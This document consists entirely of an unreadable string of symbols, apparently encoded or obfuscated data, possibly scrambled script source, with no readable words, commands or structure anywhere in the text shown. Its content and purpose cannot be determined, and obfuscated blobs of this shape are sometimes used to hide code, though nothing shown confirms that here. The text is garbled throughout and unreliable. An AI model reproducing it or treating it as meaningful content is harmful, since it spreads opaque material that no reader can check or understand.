MAL]DALL\]QMFGM\\UUUUUOUUWWNUUUUUU]Q DAUTHHUUQ@D\UUUUUUUUUUAAMGG*  ]CLG]DABL\YUUUUCLG]DGDL\\NEE*A]QMFGMYUUUQBLMAUUUJUUQ C EFDUOU \NUQ*DCLDUUUUUUHUUUU]\UU*]F]D@EE\YUUUUUUE\UU^UUDNUUU *]F]D@EE\YUUQ*DCLDYUUUUUMAL]D@ED\\NUUUUU]Q*DCLDUUUKHUUUU]ED^EG\\UUUQCGMHMFNQBCAH]QCGMKE\JQCGMOXQCGMN *]*F]DAL@\YUUF]DALC\]\YU*F]D@ED\\NUAAMGG*  ]MAL]DABL\YUUMAL]D@EG\\NUU NUUUUUUU ]Q DA\NQUUHUMAL]D@EF\NUQMDCUHUUUU]\NUUUUUU]QGMGDUUUQCE@LC\UUUQBD EUUUHUUU*F]DGCL\]QCE@LC\NU]T5MAL]MBM\]QBD E\\UUUUU NUUUUUQ LCUHUUF]DA@@\]CLG]DEA\\UUUJUU5F]DEA\]QCE@LCYURR\UUUOUNU]Q LCUUTHHUUUUUSSUUCLG]DA@@\]F]DDCC\\\UUU5]Q LCYUU9:6>*0-\NUQUHUU5F]DAM@\]QCE@LC\UJUUUU5F]DAFL\]QCE@LC\UOUUENUQC*@LFMUUUUUHU5MAL]D@EA\]QCE@LC\UUUUJUU5CLG]DALL\]QCE@LC\UUOUWWNUUUUUUUUUUUU]TF]DALB\]QC*@LFM\\UUUAAMGG*  ]*F]DABL\YUF]DAAG\\NUU]Q LCUUUTHHU\UUUUUUUUUUUUUUU]MAL]DA@@\]F]D@E@\\\UUU5]Q LCYUUU9:6>* ;\NUUUUUUU5]Q LC\NUUU NUUUUUUU]F]DAAF\]QC*@LFMYUUQM@LACB*\UUTHHUU\UUUUUUUU]5CLG]DAM@\]QMFGM\\UUUUUUUU]Q LCUUUTHHU\UUUUUU]CLG]DA@@\]CLG]D@E@\\\U5]Q LCYUUU9:6>* ;\NUUUUU5]Q LC\NUUUUUUUUUU NUUQC*@LFMUHUUUUUA  DDDG]QC*@LFMYUUUUQM@LACB*\NUUUUUU]T*F]DALB\]QC*@LFM\\UUUUUUUUAAMGG*  ]F]DABL\YUUUUUCLG]DALG\\NQDAHAD@DNQBFHQDAPGNUUUUU]Q LCUUUUTHHUUU\UUUUUUUUUU]CLG]D@EC\]MAL]D@EB\\\UU5]Q LCYU9:6>* ;\NU5]Q LC\NUUUUUUUU NUUUUU]T5*F]D@EM\]QMFGM\\UUZZU"%U3 U&U0OUU UUUUUU]Q LCUUTHHU\UUUUUU]F]D@EC\]F]D@EL\\\UUU5]Q LCYUU9:6>* ;\NU5]Q LC\NUUUUU NUUUUU]CBAB@]\\UUUUQAGBUUUUUHUW)I<8 UK)WU[UQUUUU[UUUU*F]D@DE\UUUU[UUUQMFGMU[UUUURWRUUU[UUUW)IZ<8 K)WNUUUUUQAGBUHUUUUW)I<8 U*[K)WUU[UQUU[UF]D@DD\U[UUQMFGMU[URWRUUUU[UW)IZ<8 K)WUU[UUWI<8 U*@[K)WU[UQU[UF]D@DD\U[UUUUQMFGMUU[URWRU[UW)IZ<8 K)WUUUUU[UUUWI<8 U*B[K)WUU[UUUQUU[UUUCLG]D@DG\UUU[UQMFGMU[URWRU[UUUUUUW)IZ<8 K)WUUUUUUU[UWI<8 U*M[K)WUU[UUUUUUQU[UUUMAL]D@DG\UU[UQMFGMU[UUUURWRUUUUU[UW)IZ<8 K)WNUUUUU] FAF@D]QCE@LCYUQC*@LFMUUUUU[UQAGB\\UUQMDC.(UUUUUHUU]QCE@LCYUUQC*@LFM\NUUUU]Q\UUEEABB *FM]QCE@LCYUQ\NUUUUUEEABB *FM]QCE@LCYUUUF]DALC\]\\NUUUUU]Q LCUUUTHHUU\UUUUU]MAL]D@DF\]CLG]D@EL\\\UUU5]Q LCYUU9:6>* ;\NUU5]Q LC\NUUUUUUUUUUUUUUUUU]]QBLMAUUU		U*F]D@DA\]QMDC\UUUUUKUUE\UUSSUUUUUTFC@**CEM]\\UUUUUUUAAMGG*  ]*F]DABL\YUUUMAL]DA@E\\NUUEE*A]QMFGMYUUQ C EFD\NU]QMDCUUQL D\UUU FAF@D]QL D.E(YUUUUQL D.D(\NUUQ*DCLDUUHUUUU]\UU*]CLG]D@EE\YUUE\UUUU^UDNUUUUUU *]F]D@EE\YUUQ*DCLDYUUUF]D@ED\\NUUUU]Q*DCLDUUUKHUU]ED^EG\\U *]*F]DAL@\YUU*F]DALC\]\YUU*F]D@ED\\NUUAAMGG*  ]MAL]DABL\YUUUUMAL]D@EG\\NUUUUUUUUUUUUUU NUUUUUUUUUUU]]\UU*]CLG]D@EE\YUUUE\UKUE\UUUUUU *]CLG]D@EE\YUUEYUF]D@D@\\NUUUU]]\UU*]CLG]D@DC\YUUE\UUUUKUUUUE\U5*]CLG]D@DB\\NUUUUUUUUUU]!UQD@D*G\UUUAAMGG*  ]*F]DABL\YUUUQD@D*G\NQ M GDHDE	ALNQA EHQ M GD+@ANUUUUUUUU]0UQD@D*G\UUUUUAAMGG*  ]F]DABL\YUUQD@D*G\NUUUUUUUU UUUM@*M**]\UUUUUUUUUU]T]F]D@DM\\\UU NUUUU]TMAL]D@DL\]F]DG@G\\\U NUUUQ G@UHUUUUUUL ]47&%4!=UUUUU[UU*F]D@GE\YU]F+L\\NUUUUQEADUHUGDG]\NUUU]TQEADUUU		UMAL]DFLD\]QEAD\UUIUUU]ED^ED@\\UUU NQCB*UUUHUUUFDG]\NUUUQ UUHUU5*]Q G@YUUUUWW\NUUUUUUUUU]Q USSUUCLG]DFLD\]Q \UHHHUUF]DFLD\]QCB*\UUUSSUUQ UUHHHUQCB*\UU NUUUUUUUUUU]F]D@DL\]F]D@GD\\\UUUU *]Q G@YUUQCB*YUUMAL]D@D@\\NUUUUUUUUU]]MAL]D@GG\\USSU]MAL]D@GF\\UUUUSSUUUUU]*F]D@GA\\UUUUUUSSUUU]F]LA\\USSUF]D@G@\]F]D@GC\\\UUQLEGUUUUHUF]D@GC\NUQF@EMUUUUUUHUUU5UUUQLEG]]MAL]D@GG\\YUUU]CLG]D@GB\\YU]*F]D@GM\\YU]F]D@GL\\\NUUUUU]QF@EMUSSUUTQF@EMXK*\UUUUQUUHU]Q29:749&.MAL]DFGD\(XK\UUUJUUQ29:749&.F]DFGD\(XKUUOU*F]DEEG\NUUQBLLBFGAUUUHUQF@EMXK**]QCB*\NUUUUUUQCCGUUHUUUQF@EMXK**]Q G@\NUUUQF@EMXK ]W<)A)@F)A@'!U<;)@A)AUQ)BE)CL)BFU])C)BE)BA)C*)CYU)BE)CL)C* YU)CD )BA\U)@C4)A )A@)@FU]RQCCGRYURQBLLBFGARYUR)CR\U:)AU1 %)A<6)AD)@A0U>0,U)@@%)AA)AD)@A0U)BE)BA)CL)C*)CD HRQBLLBFGARW\NU]QF@EMXK\UUUAAMGG*  ]*F]D@GE\YUUUUUF]D@FE\UUU[UCLG]DFAB\]QF@EMXKYUUUEYU]DGMXM\\\NUQF@EMXK]\NUZZUUUUUUU]!UUUUUQD@D*G\UUUUUUAAMGG*  ]MAL]D@FD\YUUUUQD@D*G\NUUUUUUUUUUUUUU]0UUUQD@D*G\UUUUUUUUUUUU UUAFGF*A]\ZZU"%U<7OUUQ**@UUHUU]MAL]DADF\\UUUJUUUU"%*6:;!0;!*1<'UUOUUUUUU47&%4!=UUUU[UUUUUCLG]LCB\NQGEBMGD UUUUHUUL ]47&%4!=UUU[U*F]D@FG\YU]DCC+DBA\\NUU U]Q**@UU[UUF]@BM\YUUQ**@UU[UUCLG]D@FF\UUU[UQGEBMGD UUUUU[UUF]D@FA\YUUQGEBMGD \NU UUUUU*M]QMAEBL@LB\UUUUQBUUHUU]\UUUUU5F]D@F@\]QMAEBL@LB\NUUUU]QBUUIUUUU]DEMXM\UUUUUU		UUUQBUUKU]GELBDAG^DE\\U UNUUQFUHU5CLG]D@FC\]QMAEBL@LB\NUUUUUU]T*F]DALB\]QF\UUUUU		UUCLG]DFLD\]QF\UIU]DGGXGG\UU		UU*F]DFLD\]QF\UKU]FG@AFE^DBBDBGG\\U UUUNUUQFFGBDUUUHUUUUCLG]GGE\]RORYUQFYUUUUUU]GFM+GFA\\NUUUU]F]D@FB\]QFFGBD\UUUUIU]BE+CC\UU		UQFFGBD.E(UUUUUTHHUU*F]D@FM\UUU		UUUMAL]DFLD\]QFFGBD.]G^D\(\UUUUIU]AA^C\\U UUUNUUUUUQDAECFUUUUUHU5CLG]AEG\]QFFGBD.]MB+MA\(\NU]QDAECFUHHHUUUU		UUUUUMAL]DFLD\]QDAECF\UIU]EDB^ED\\UUU UUUUUNUUUUUU]MAL]DFAB\]QDAECFYUEYUUG\UUUUUHHHUUW)D)MW\UUUUUUUQG@A@M*UUUHUU5MAL]D@FL\]R#RYUUUUUF]DFAB\]QDAECFYUX]D^F\\\NUUU]TMAL]DFMA\]QG@A@M*\UUU		UUUQG@A@M*.D(UUUUUIU]BC^GA\UUUU		UQG@A@M*.D(UKUU]DEAM@AB^GL\\U UUNUUUUUUU]F]D@DL\]CLG]D@AE\\\UQDAECFUHUU5]QDAECFYUUU]DEAM@AB^GL\\NUUUUUU]MAL]D@DL\]MAL]DFGA\\\UUUUUUQDAECFUUUHUU5]MAL]DFAB\]QDAECFYUUU]D^L\YUUCLG]DFLD\]QDAECF\UXU]EDE^EG\\YUUUU]DMFFL@BXBM@FMD\\NUUUUUUU]CLG]DALB\]QDAECF\UUUUUSSUUCLG]D@AD\]QDAECF\UUUKUU]EDB^EGAGL\\U UNUUUUUUUUUUU UUUUNUUUUUUUUU]T*F]DALB\]QDAECF\UU		UUUU*F]D@AG\]QDAECF\UUUIUUUUUU]LG^M\UUUU		UUUUF]DFAB\]QDAECFYUUUEYU]ED^EA\\UTHHUU*F]BCD\UU		UUUUUUMAL]D@AF\]QDAECF\UTHHUUQFFGBD.G(\UU UNUU UUUUUQDAECFNUUU UM ]\UUZZU"%U%U6OU U XUUUUUUUUUUUUUU]T]CLG]D@DM\\\UU NUUQMMCLD@BAUUHUUAFGF*A]\NUUUUUUU]T5CLG]D@EM\]QMMCLD@BA.D(\\UUU NUUU]*M]QMMCLD@BA.D(\UUUHHHUUUUUU\UU NUUUUQAM@GE DUUUUUHUUUUL*AAC*AL]CLG]BAG\YUU]R**&9 2**R\YUUUU]*F]DDC@\]DCLLEEFE]\YUCLG]DABC\\\\NUUUUU]TMAL]D@AA\]QAM@GE D\UUUUU		UUQAM@GE DUHHHUUWW\UU NUQAM@GE DUHUUUUF]DAMM\]*F]D@A@\YUUUWWYUUUUQAM@GE D\NQDAHCG^CMNQ@MHQDAX@ENUUUUUU]TCLG]D@AA\]QAM@GE D\UUUU		UQAM@GE DUUUUUUHHHUUUWW\UUUUU NUUUUQDB@UHUMCCFB]\UU[UURORU[UUUL ]47&%4!=UU[UUUUUMAL]D@AC\YUU]A^A\\NQ*GE LCUUUUHUUUUUCLG]D@AB\UU[UQDB@U[UUCLG]D@AM\NUQDFMLUUHUUUUU*F]D@AL\U[UQDB@U[U*F]D@AM\NUQM*ADBUUUUUUHUUUUUUF]D@@E\UUUUU[UUUUUUQMMCLD@BA.G(UUU[UUUUCLG]D@@D\U[UUUMCCFB]\UUUU[UUUF]D@AM\UUUUU[UW)WUU[UUQAM@GE DNU]T5CLG]D@EM\]QMMCLD@BA.E(\\UUUUUUUUU]TED*L @]QMMCLD@BA.E(YUWW\\UUUUUUAAMGG*  ]CLG]D@FG\YUMAL]D@@G\\NUU NUUUUUUUUU] FAF@D]QMMCLD@BA.E(YUUUUUQM*ADB\\UUEEABB *FM]QMMCLD@BA.E(YUD AC ]\\NUUF* ]QMMCLD@BA.E(YU]FC@^@@\\NELAAL*]QMMCLD@BA.E(\NUU NUUUUUUUUUUUUUQCB  D*BDGUUUUUUHUU5CLG]D@FC\]QMMCLD@BA.E(\NUUUU]TCLG]D@AA\]QCB  D*BDG\U		UU*F]D@AG\]QCB  D*BDG\UUUUKUUU]DLBMDLF^DDML@L\\U NUU]MAL]DAAF\]QCB  D*BDGYUUUQ*GE LC\UUTHHUUUUUUSSUUUUMAL]DAAF\]QCB  D*BDGYUQDFML\UUUTHHU\U NUUUUUUU]MAL]DAAF\]QCB  D*BDGYUUUU*F]D@@F\\UHHHUUUUUUUUUSSUUUCLG]D@@A\]QCB  D*BDGYUUF]D@@@\UUU[UQMMCLD@BA.G(\UUTHHUU\UUUUUUUUU]F]DFED\]F]D@@C\YUUUUMAL]DFAB\]QCB  D*BDGYUUEYUUUUU]DA@^@@\\YUQDLA\UUSSU*]QDLA.D(YUMCCFB]\YUUMAL]D@@B\\\U NUUUUUU]TED*L @]QMMCLD@BA.E(YUUUQCB  D*BDG\\UUUUUUAAMGG*  ]F]D@FG\YUUCLG]D@@G\\NU NUZZU5 UUUUU] FAF@D]QMMCLD@BA.E(YUUQM*ADB\\UEEABB *FM]QMMCLD@BA.E(YUUD AC ]\\NF* ]QMMCLD@BA.E(YUU]F@E^BE\\NUELAAL*]QMMCLD@BA.E(\NUUUUUUU NUUUQAAEECUUUHUUUL ]47&%4!=UUUU[UUMAL]D@AC\YU]B^D\\NUQCB  D*BDGUUUUHUUCLG]DAMM\]*F]D@@M\U[UUQAAEECUU[UUUUF]D@@L\YUUWWYUQCB  D*BDG\NUUUUUUUU]TMAL]D@AA\]QCB  D*BDG\\UUUUAAMGG*  ]F]D@FG\YUUUUUUMAL]D@CE\\NUU NUUUUUU]T5*F]MBM\]QMMCLD@BA.E(\\U NUUUUUU]T*BCDBG]*F]D@FG\\\UUAAMGG*  ]*F]D@CD\YUUUCLG]D@CG\\NUUU NUUUU]TED*L @]QMMCLD@BA.E(YUUUUUQCB  D*BDG\\UUAAMGG*  ]CLG]D@CD\YUUUMAL]D@CF\\NUUUUUUU NUUUUUUUE]MAL]D@CD\\NUUQEUHUUQ*GE LCU[UUUUUW)WU[UUF]D@CA\UUUU[UUQMMCLD@BA.G(UUU[UCLG]D@AM\UUU[UUUUW)WUUUUUU[UUQAM@GE DU[UUUUW)WUUU[UQDFMLNUUUUUUUU FAF@D]QMMCLD@BA.E(YUUUUL@LGB*MBFCL]QCB  D*BDGYUUUQE\\NUUU]!UUQD@D*G\UUAAMGG*  ]MAL]D@CD\YUUUUUQD@D*G\NUUUU]0UUQD@D*G\UUUUUUUUU UUUULEGA]\UZZU U UUUUUUUU]T]*F]D@C@\\\UUUUUU NUUUUUUUQMMCLD@BAUUUHUAFGF*A]\NUUUQ GFFUUHUUUU]\UUU5CLG]D@CC\]QMMCLD@BA.D(YUUYUUU YUEYUUUU]DEAXAE\\NUUUUUUUU]CLG]DFED\]CLG]D@CB\YUQ GFFYUUUQBD@LCLB\UUUSSUQBD@LCLB.D(UUUUHHHUUUMCCFB]\\UUUUUUUUQ *GUUUUHUU]\U*]CLG]D@CM\YUUE\NUUUU]MAL]DALC\]\UUUUXUUUUQ *GUUUIU]D@B^AAF\\UUU NUUUUUUUU]*M]QMMCLD@BA.D(\UUUTHHU\UUUU5 *]F]D@CL\YUUUU*F]DALC\]\YUUUF]D@D@\\NU NUUAAMGG*  ]MAL]D@CD\YUUUUCLG]D@BE\\NUUUUUUQEADUUUUUHUUGDG]\NUUUUU]TQEADUUU		UUMAL]D@AG\]QEAD\UUIUUU]AB@^G@\UUUU		UUMAL]D@AG\]QEAD\UKUUU]DEAM@BD^@\UUU		UUT@LE*B ]QEAD\\UU NUQ@ UUUUUHUU*F]D@DL\]MAL]GLD\\UJUU5]QEADYU]G@+FD\\UUOUUUUQEADNUU]TMAL]D@BD\]Q@ \UUUU		UUQ@ UUHHHUUUUWW\UU NUUUUU] FAF@D]QMMCLD@BA.D(YUUUUCLG]D@BG\U[UUUMCCFB]\UUUU[UUUURORUUU[UUU*F]D@BF\]QEAD\UUU[UURORU[UUUU*F]FLL\]Q@ \\\UUUUU5 *]CLG]D@CL\YUUUUF]DALC\]\YUCLG]D@D@\\NUUUUU]!UUQD@D*G\UUAAMGG*  ]CLG]D@CD\YUUUUUQD@D*G\NUUUUUU]0UUUUUQD@D*G\UUZZU"%U!U7OUUUUUUUUUUU UUUUUU**  M]\UUUUUUUUUUUUUUUUU]TCLG]D@DL\]MAL]D@BA\\\UU UNUUUQAMLUHUUU]*F]D@C@\\UUSSUU5*F]D@EA\]47&%4!=UUUUU[UMAL]CEE\\UUUJUUU47&%4!=U[U*F]D@B@\UOUUU**3<90**NUU UUU*F]D@BC\]QAMLYUUUUURR\NUUU UUU@BE*E]\UUUUUUUUUUUUUU]TCLG]D@DL\]MAL]D@BB\\U		UUUUTMAL]D@DL\]*F]D@BM\\\UUU NUUUUUUUU]T]F]D@C@\\\UU NQEADUHUUGDG]\NUUUUUUUUUU]TQEADU		UUCLG]D@AG\]QEAD\UUIUUUUU]ABF^GB\\UU NUQUUUUHUU**  M]\NUUUU]QUHHHU\UU NUUQLLFUUHU*F]D@DL\]MAL]D@BL\\UUJUU*F]D@ME\]*F]D@MD\YUUQEAD\UUOUUUF]D@MG\]QEAD\NUUUQ*AUUHUUMAL]D@MF\UU[UUUUUMAL]D@AG\]QEAD\UUUUU[UURORU[UUQLLFU[UW)WUUU[UUQEADNUUUQL@*UUHUUUUUMAL]D@MA\]Q*A\NUUQ*LDDELUHUU5MAL]D@BB\]QYURRYUUUUUEYUUUE\NUUUUU]Q*LDDEL\UUQ@@E@UUUUUUHUUUUU]\UU5MAL]D@M@\]Q*LDDEL\NUUQ C EFDUUHUUU5*F]D@MC\]Q*LDDELYUUUUEYUUQ@@E@\NUUUUUUUUUUU]*F]D@MB\]Q C EFD\UUUUSSUUUUUF]D@MM\]Q C EFDYUUUUQEAD\UUUUUUTHHU\UUUUUUUU5*F]D@ML\]Q*LDDEL\NUUUU NUZZUU UUUUU]Q@@E@UKHUUUUQL@*\UU5MAL]D@ML\]Q*LDDEL\NUQ*LDDELUUUHU5CLG]D@BB\]QYUUURRYUUUUUUEYUUUUE\NUUUUUU]Q*LDDEL\UUUUUU5*F]D@LE\]Q*LDDELYUUUUUCLG]D@LD\]Q*AYUQ@@E@YUUUUUW)EW\YUUUUUE\NUUUQDMAE*UUUUHUUUU5*F]D@MC\]Q*LDDELYUUUEYUQL@*\NU5*F]D@ML\]Q*LDDEL\NUUUUUUU]QDMAE*UTHHUQ*A\UAAMGG*  ]CLG]D@LG\YUCLG]DGDL\\NQGGHX@CLNQA BH]QGGKE\JQGGOXQGGNU NUUUUU5MAL]D@LF\]Q*LDDEL\N5CLG]D@ML\]Q*LDDEL\NUUUUUUUUUUQ@@E@UUHUQL@*UU^UU]DEEG^GG\NUQ*LDDELUUHUU5*F]D@LA\]QYURRYUU]F@D^CL\YUUQ@@E@\NUUUUU]TQ*LDDEL\UU N5MAL]D@LE\]Q*LDDELYUUUCLG]D@L@\]Q*AYUUUUQ@@E@YUUUUW)EW\YUUUUUE\NUQDMAE*UUHUUUU5F]D@MC\]Q*LDDELYUUUUEYUQL@*\NUUUU]QDMAE*UTHHUQ*A\UAAMGG*  ]*F]D@LG\YUUUCLG]DGDL\\N5MAL]D@ML\]Q*LDDEL\NUUUUUUUUUU]!UUUUQD@D*G\UUZZU"%U&U8 OU UUAAMGG*  ]CLG]D@LG\YUUQD@D*G\NUUUU]0UUUQD@D*G\UUQLALE*HGFD	CCNQA*GHQLALE*+DCANUUUUUUUUUU UUUL@LGB*MBFCL]Q YUUQE\UUZZUUUU"%U%U!UUUUUUUUUUUUU]T*F]D@LC\]Q \UUU		UUUUQ UHHHUWW\UU UUUUCLG]LLF\UUUUU[UUQEU[UUW)WNUU]*F]DFED\]MAL]D@LB\YUQ YUQ@GALYUU%'02*:33&0!*64%! '0\\UUUUZZU5U XUQG CUUUHUUQ@GAL.E(.D(U^U*F]D@MA\]Q@GAL.E(.E(\NQCHLM_GNQE@HQCXGENQGCG FDUUHUUU*F]D@LM\]Q YUQG CYU]DAEGCX@MFA\\NUUU]CLG]D@LC\]QGCG FD\UUSSUUUUUCLG]DFED\]*F]D@LL\YUQGCG FDYUQ*\\UUUUQG CUUUU^HUUUUMAL]D@MA\]Q*.E(\NQGCG FDUHUUUUUCLG]D@LM\]Q YUUUUUQG CYUU]MDA@^AB\\N UUUUCLG]DCEE\]Q YUUEYUUUUQG C\UU[UUW)WU[UQEUU[UW)WUU[UU*F]DCED\]Q YUQG C\NUUUUU UUUUUMAL]DCEG\UU[UUUUUQEU[UUUUW)JK)WU[UUQ NUUUU U*BCDBG]Q\UUUUUUUUU]TMAL]DCEF\]CLG]DG@G\\\UUU UU NQM*EUUUUHUUUU5*]F]DCEA\UU[UUQYUUUUWW\NUUUUUUUUU]*F]D@LC\]QM*E\USSUF]DCE@\]QM*EYUUR	R\UTHHUUUU\UUQFFGBDUUUHU*F]GGE\]R	RYUQM*EYUG\NUUU]]\UUQFFGBD.E(UUHHHUUU]\UUU]MAL]DALC\]\UUUZUUU]D@CAAMXBEEAM\\UUUSSUU]\UQFFGBD.D(UUUUKHUUU]EG^ED\\UUUUUU UUNUUU UUU NUUUU UUUE]Q\UUUZZU"%U3U4%<UUUU]TF]DCEF\]F]DCEC\\UU		UUUUTMAL]DCEB\]CLG]DCEM\\\UUU NQAFUUHU]\UUU]MAL]DALC\]\UUUUUZU]MCFAL^@D\\NUQM*EUHUUUUU5*]MAL]DCEA\UUUUU[UUUUUUQYUWW\NUQEGED UHUENU]*F]DCEL\]QM*E\USSUMAL]DCE@\]QM*EYUR	R\UTHHUU\UUUUQFFGBDUUUUUUHUUCLG]DCDE\]R	RYUUQM*EYUUUG\NUUU]]\UUUUQFFGBD.E(UHHHUUQAF\UQEGED UUUUHUUUUUU]\UQFFGBD.D(NUUUUUUUUQEGED ^^NUU5 *]*F]DCEA\UUU[UUUQYUQAFUUU[UUR	RUU[UUUUQEGED YUF]D@D@\\NUUU]QEGED UUUUKHUUUUU]CXF\\UUAAMGG*  ]MAL]DCDD\YUCLG]DCDG\UUU[UUUQ\NU UUUUUU *DL BA]\UUUUUUUUUU]T]*F]D@C@\\\U NUU]T]F]DADF\\U		UT5*F]MBM\]"%*6:;!0;!*1<'\UUUU		UUUTA*]"%*6:;!0;!*1<'\\UU NUUUUQADCEUUHUUUUU"%*6:;!0;!*1<'NUUUUQ*F@L@GUHUQADCEUU[UUU*F]DFLA\NUUUUUUQGEUUUHUMAL]DCDF\]DCLLEEFE]\YUUUMAL]DCDA\\NUQMAMLCAUUHUUL ]47&%4!=U[UUUUUMAL]DCD@\YUU]G^C\\UU[UCLG]DFGM\NUUQCD UHUUUGMFM]\NUQ G@UHUUUUL ]47&%4!=U[UUF]D@FD\YUU]EL^ED\\NUQD@ MUHUUUUUUCLG]DCEB\]CLG]DCDC\\UJUU**  M]\UOUUUUUNUQE@@DBEUHUUQD@ MUUTHHUUUJUF]DCDB\]QD@ M\UUUUUOUUENQ ECB**UHUUUUUU]Q29:749&.*F]DFGD\(XK\UUUUUJUQ29:749&.MAL]DFGD\(XKUUOUUUUMAL]DEEG\NQEDG@GDUUHUUUMAL]DCDM\UU[UCLG]DCED\]F]D@MG\]QGEU[U]\UACCAG]\\YUUEYUUUUUU]EB^ED\\NUQCUUHUUL*AAC*AL]UUUUUCLG]BFE\YU]R**&9 2**RYUR**/<%*;480**RYUUUUUUR**&=8:%*>0,**RYUR**:%!*;480**RYUR**"%*%'03<-**RYUR**2 4'1*;480**RYUR**#0'&<:;**R\Y]QGEYUUUQMAMLCAYUUUQE@@DBEYUUUQ G@YUUUQ ECB**YUUUUQEDG@GDYUUMCCFB]\\UUUU\NUUUUUU]TQC\UUUUUUUUUUUU]]\UUUUU*]*F]DABM\YUUUE\UUUKUE\UAAMGG*  ]F]DCDL\YUUUUUUMAL]DCGE\\NU NUUUUQ UUUUHUU5MAL]D@EA\]Q*F@L@G\UJU5MAL]DCGD\]Q*F@L@G\UUOUUWWNUUUU]T*F]DCGG\]Q \\UUUAAMGG*  ]*F]DCGF\YUUUUMAL]DAAG\\NU NUUQ UUUUHUUUUUU*MB @AB]Q \NQDB@UUHUUUMCCFB]\UUUUUU[UUUURORUUUUU[UUUL ]47&%4!=UU[UUUCLG]DCGA\YUUUU]AIID\\NUQ*GE LCUHUUCLG]DCG@\UUUUU[UUUQDB@UUU[U*F]D@AM\NUQDFMLUHUU*F]DCGC\UUU[UQDB@U[UUCLG]DCGB\NUUUQ *BUHUUL ]47&%4!=UU[UUUUF]DCGA\YUUU]D@C+DAM\\NUUUUUUUUQ C@UHUF]DCGM\]*F]DCGL\U[UUUUUQ *BUU[UUUCLG]DCFE\YUWWYUUQ \NUQ BE@UUUHU]CLG]DCE@\]Q C@YUUUMAL]DCFD\\UUUTHHUU\NU]*F]DCFG\]Q YUUQ*GE LC\UTHHUUUUUSSUUUUUMAL]DCFF\]Q YUUUQDFML\UTHHUUUUUSSUUUUUTQ BE@\UUUUCEGEA]\NU NUUUUUUQ UUUHUCLG]DCFA\]MAL]DCF@\YUUWWYUUUUQ C@\NUUUUUUUUU]TF]DCGG\]Q \\UUZZUUQ LBDHGL^DDNQAGMHQ LBDXG@NUUAAMGG*  ]CLG]DCFC\YUMAL]D@CE\\NUUUU NUUUQ UUUHUUU*MB @AB]Q \NQ@**MUUHUUF]DCFB\]CLG]D@A@\YUWWYUUUUUQC\NUUQ*UHUU]*F]D@MA\]Q \UHHHUUUUUUE\NUUU]TQ*\UUUU]T*BCDBG]MAL]DCFC\\\UUAAMGG*  ]F]DCFC\YUU*F]D@CG\\NU NUUUUUU]TED*L @]Q*F@L@GYUUQ \\UUUUUAAMGG*  ]F]DCFM\YUU*F]D@CF\\N NUUUUUUUUUUUE]MAL]DCFL\\NUUUUUUUUUU]TED*L @]Q*F@L@GYUWW\\UUUUAAMGG*  ]CLG]DCAE\YUUMAL]DCAD\\NUU NUUUUUUUUUUQE@*UUHUL@LGB*MBFCL]Q YUUUUQ*GE LCU[UUUUUW)WU[UQ@**MUU[UW)WUU[UQDFML\NUUU]T FAF@D]Q*F@L@GYUUUUUQE@*\\UUUUU NUUUUUUUU]Q*\UELAAL*]Q*F@L@G\NUUUUUUCEGEA]\NUUUUUUU]!UUQD@D*G\UUUUAAMGG*  ]F]DCAE\YUUUQD@D*G\NUUU]0UUUUUQD@D*G\UUUUUUUUUUUUUUUUU UUUBADD]\UUUUUUUUUUUUUZZU"%U%U6UU UUUU]T]*F]D@C@\\\UUU NUUU]DFMCGD@]DCLLEEFE]\\\U NUUUUUUUUUUU]TCLG]DCEB\]CLG]DFMG\\\UUUU NUU]*F]DFLM\]\UUUUHHHUUUF]MA\\UUUU NUUUUU]T]Q*&0'#0'.*F]DCAG\(\\U NUUUUU]*]F]DCAF\\\UUUUUU NUUUUQ*GLGCUUUHUGMFM]\NUUU]T5CLG]DFBB\]Q*GLGC\\UUU*DAA]Q*GLGCYU]ACM^G@\YUUU \NUUU]T5MAL]DFBB\]Q*GLGC\UUUUUU		UUUUT5MAL]DCAA\]Q*GLGC\\UUUUUUUUQ*GLGCUHUUU47&%4!=U[UUF]DCA@\NUUUUUUU]T5CLG]DCAA\]Q*GLGC\\UUQ*GLGCUUHUU GBME M L]\NUUUUQ@@UUUUUHUUUUUL ]47&%4!=UUUUU[UURRYUUUU]EG^EC\\NUUUUUUUQLMAUUUUUUHUUUF]DCAC\U[UUUQ@@UUUU[UUUF]DCDA\NQLBDLUHUQ*GLGCUUUUU[UUUURZRUUUUU[UUUQLMANZZU"%U' U&OUUUUUUUQ@A F@UHUUUUUQ*GLGCUUU[UCLG]DCAB\UU[UUUQ@@NUU]]Q*GLGCYUUUUUU47&%4!=UU[UUMAL]DCA@\YUUUUU GBME M L]\\UUQM\UUUUUQLF@UUUUHUUUUQMUU[UMAL]DCAM\UUUUUU[UUUUUUQ@@NU]5*F]D@EM\]QLF@\\UQ@ UUUUHU]\UUUU5F]DCAL\]QLF@\NUUUUU]Q@ UUUIHUUUUUF]DC@E\]\UUUUUXUUU]MCFBE^FE\UUU		UUUQ@ UUKUUCLG]DC@D\]\UU^U]FF^GCB\\UUUUE F]QLF@\NU NQDCEHGF_@NQHQDCEXCNUZZUUUUUUUU]5F]D@EM\]QMU[UMAL]DC@G\U[UUQ@@UU[UUF]DCDA\\\UU NUUUUE F]QLF@\NUUUUUUUU ]QMYUUQLF@YUUUUUUQ@ \NUUUUUUUUQ*FUUHUUU47&%4!=U[UCLG]DC@F\UUU[UUQLMANUUUUUUU]Q*GLGCUUUUUTHHUUU47&%4!=UUU[UUUUU*F]DCA@\UUUUSSU5*F]D@EM\]Q*F\UUUUSSUU AAB]Q*F\UTHHUUU\UUUUUF* ]Q*FYUUUUU]EDMC^ED\\NUUUU]E F]Q*F\UUSSUUMAL]DCEB\]F]GEE\\\UUU5*]Q*FYUUUU \N ]Q*F\NUUUUU]5MAL]D@EM\]Q@A F@\UUUSSUU]\UU5MAL]DCAL\]Q@A F@\UKUUCLG]DC@D\]\UUUXUU]EG^ED\\UUUU NUUUUUUUU]5CLG]D@EM\]QLBDL\UUSSUUUU]F]DC@A\]\UUXU]\UU5]QLBDL\\UUUUIUUU]EE^EA\\UUU NUUU]5MAL]D@EM\]QLBDL\\UUUUQ*MA UHUU5CLG]D@EM\]Q*GLGCUUU[UMAL]DC@@\UUU[UQ@@\UUUJUUCLG]DGMD\]]\U5F]DC@C\]Q*GLGCUUU[UUMAL]DC@@\UUU[UQ@@\\UUUUOUWWNUUUUUUUUUUUU]Q*MA UUTHHUUWWUSSUUUMAL]DC@B\]CLG]DC@M\YUUUUUQ*MA \USSUU*]Q*MA YUUMCCFB]\YUUUURKR\\U N ]Q*MA \NUUUUUUU]5F]D@EM\]QLBDL\\UUUQGLM*UUHUQ*GLGCU[UUMAL]DC@L\U[UUL 